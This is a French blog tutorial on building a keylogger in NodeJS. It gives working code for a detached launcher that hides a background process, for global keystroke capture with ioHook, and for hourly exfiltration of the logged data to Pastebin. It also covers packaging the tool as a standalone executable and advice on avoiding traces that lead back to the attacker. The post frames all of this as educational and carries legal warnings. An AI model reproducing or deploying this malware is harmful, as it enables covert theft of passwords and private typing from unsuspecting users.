Comment j'ai écris un malware (à but éducatif) avec NodeJS en moins d'une heure !

Rappel : la récupération de données d'autrui grâce à un malware est punie d'un minimum de 15000€ d'amende et d'un an d'emprisonnement.

Article publié le 31/07/2020, dernière mise à jour le 19/09/2023

Un malware est un logiciel malveillant destiné à récupérer ou corrompre des données provenant d'une (ou plusieurs) machine cible, le terme vient de la contraction de l'anglais "malicious" et "software".

Dans cet article je ne vais pas parler de virus, car le terme "virus" sous-entend la propagation autonome de ce dernier, et ce n'est pas ce que nous allons étudier ici.

Le type de malware que je vous présente est un "keylogger", c'est à dire un logiciel dont le but est d'enregistrer toutes les informations tapées au clavier sur une machine.

Une fois les informations capturées par le malware, elles peuvent être stockées en local sur la machine, ou envoyées à l'attaquant par le réseau.

Et non, le stockage en local n'est pas à négliger car le keylogger peut très bien tourner sur une machine à laquelle l'attaquant a aussi accès, comme lors d'un prêt pour checker ses emails en navigation privée par exemple.

Je tiens à rappeler que la majorité des grosses fuites de données de ces dernières années ne sont pas dues à de simples malwares, mais sont causées par des experts en ingénierie sociale.

Si vous voulez en apprendre plus sur ce sujet, je vous recommande le livre de Kevin Mitnick : "The art of deception" !

Avertissement

Je tiens à rappeler que la création d'un logiciel ne peut être puni par la loi, mais que son utilisation si elle entraine une récupération de données d'autrui est punie d'un minimum de 15000€ d'amende et d'un an d'emprisonnement.

La démarche et le code présentés ci-après sont uniquement à vocation éducative afin d'amener le public à se rendre compte de la simplicité de création d'un tel logiciel et de l'importance de savoir s'en prémunir.

Je ne pourrais être tenu responsable du possible détournement du code à des fins malveillantes par autrui.

Maintenant que vous avez été prévenu sur les risques encourus, rien ne vous empêche d'expérimenter avec vos machines dans le cadre du loisir, ou dans le cadre d'un test de sécurité sur un système dont le propriétaire est explicitement consentant.

D'autant que les fonctionnalités présentées ci-après sont toutes utiles dans le cadre d'un développement logiciel classique, on peut par exemple imaginer un gestionnaire de raccourci clavier qui travaillerait en tâche de fond !

Le fonctionnement

Pour fonctionner comme tel, notre malware (keylogger) doit avoir plusieurs caractéristiques :

  • Fonctionner de manière indépendante (l'environnement NodeJS doit être inclus avec l'exécutable pour s'adapter au système)
  • Être discret (tourner en tâche de fond)
  • Pouvoir capturer les entrées claviers (même sans le focus sur l'application)
  • Être en mesure de sauvegarder les données à distance sans laisser de trace

Nous allons voir étape par étape comment construire ce logiciel mais vous pourrez retrouver tout le code sur le dépôt github suivant : https://github.com/NicolasBrondin/node-educative-malware (readme à venir)

Créer un exécutable

Pour créer un exécutable indépendant il existe un utilitaire en ligne de commande appelé "pkg" et disponible directement depuis npm.

pkg

Une fois installé en global, il suffit d'exécuter une commande très simple pour générer trois exécutables pour Windows, Linux et MacOS :

pkg index.js

Le rendre discret

Le problème d'un exécutable sur lequel on clique est qu'il affichera un terminal tant qu'il sera en cours d'exécution, et donc sera visible et pourra être fermé par l'utilisateur, ce qu'on veut éviter en toute logique.

La technique est donc de cacher le lancement du logiciel dans un petit exécutable tiers, de la même manière qu'un launcher de jeu vidéo.

Ici on va programmer notre launcher pour démarrer un nouveau processus indépendant qui tourne en arrière-plan et de s'arrêter tout de suite après.


//launcher.js
const spawn = require('child_process').spawn;

const child = spawn('./data/game.exe', [], {
  detached: true,
  stdio: ['ignore']
});

child.unref();
process.exit();

Vous trouverez plus d'explications sur la méthode pour démarrer un nouveau processus externe en NodeJS dans mon article sur le sujet.

Récupération des entrées claviers

A chaque fois que l'utilisateur appuie sur une touche, nous allons ajouter la valeur de cette touche à une chaine de caractère pour ensuite pouvoir la stocker facilement.

J'ai utilisé ioHook qui permet de récupérer les entrées même lorsque l'application n'a pas le focus (ce qu'elle n'a jamais), l'écoute est donc infinie.

A noter que la librairie ne récupère que les code des touches et pas la valeur (on pourra donc récupérer l'appui de la touche "maj" puis "e" mais elle ne sera pas écoutée comme une E majuscule). C'est un défaut du logiciel que j'ai choisi de laisser pour justement ne pas mettre un malware parfaitement fonctionnel dans la nature.

Ce logiciel pourra donc capturer des textes lisibles mais les mots de passe contenants des majuscules par exemple ne seront pas valides.

Et dans notre cas c'est une bonne chose !


//game.js
const ioHook = require('iohook');
let keystrokes = "Keystrokes start now : ";
ioHook.on("keydown", event => {
    keystrokes+= String.fromCharCode(event.rawcode);
});
ioHook.start();

La sauvegarde à distance

Je ne vais pas vous expliquer comment on enregistre les données en local, il suffit de créer un fichier texte grâce au module fs.

Néanmoins la sauvegarde à distance reste quelque chose de délicat puisque dans le cas d'un vrai malware, l'attaquant ne voudrait surtout pas pouvoir être démasqué, laisser une IP vers son serveur ou quoi que ce soit qui puisse mener à lui serait trop risqué.

C'est pourquoi beaucoup de fuites de données passent par le site PasteBin, qui est ni plus ni moins qu'un site qui permet de partager des morceaux de textes, la différence étant qu'il est possible de le faire anonymement et gratuitement.

Le petit plus est que PasteBin propose une API grâce à laquelle il est possible de générer automatiquement des bins en créant un compte dont la seule vérification est une adresse email.

Voici le code qui permet au logiciel d'envoyer les données récoltées sur PasteBin grâce au wrapper NodeJS de l'API.


//game.js
const PastebinAPI = require('pastebin-js');
const pastebin_config = require('./pastebin.json');

let pastebin = new PastebinAPI(
    pastebin_config
);

//Save remote file every hour
setInterval(async function(){
    await pastebin.createPasteFromFile({
        filename: "data.txt", //data.txt has been previously created
        title: "data", 
        format: null, 
        privacy: 3, 
        expiration: "N"
    });
},3600000);

À noter que c'est une des parties qui risque ne s'exécutera pas si le pare-feu est configuré pour bloquer les accès Internet aux nouveaux logiciels.

C'est là le fonctionnement de la majorité des malwares, leur succès réside dans la petite partie des gens qui cliquent sur "J'accepte" sans même regarder.

Conclusion

Comme je l'ai répété au long de l'article, ce logiciel n'a pas pour but d'encourager les développeurs à faire circuler des malware, bien au contraire vu les amendes et peines encourues pour cyber-criminalité.

On parle souvent de sécurité informatique sans jamais vraiment rentrer dans le détails et les gens voient ça encore trop souvent d'un regard détaché comme ci celà n'arrivait qu'aux autres.

Pour ceux qui pourraient penser qu'il est irresponsable de faire un article de ce genre, je tiens à préciser que les ressources pour construire ce genre de choses sont extrèmement facilement trouvables sur le net, avec des techniques souvent bien plus poussées.

Cet article ce destine justement aux passionnés de technique qui cherchent simplement à comprendre le fonctionnement de ces malwares et j'espère surtout que cet article permettra à certains de prendre conscience qu'écrire ce genre de logiciel reste (malheureusement) accessible à n'importe quel développeur.

Stay safe et à bientôt sur le blog !


Daniel Souza sur Unsplash

Vous avez terminé l'article ?

Commentaires (0)

pour laisser un commentaire

Aucun commentaire pour l'instant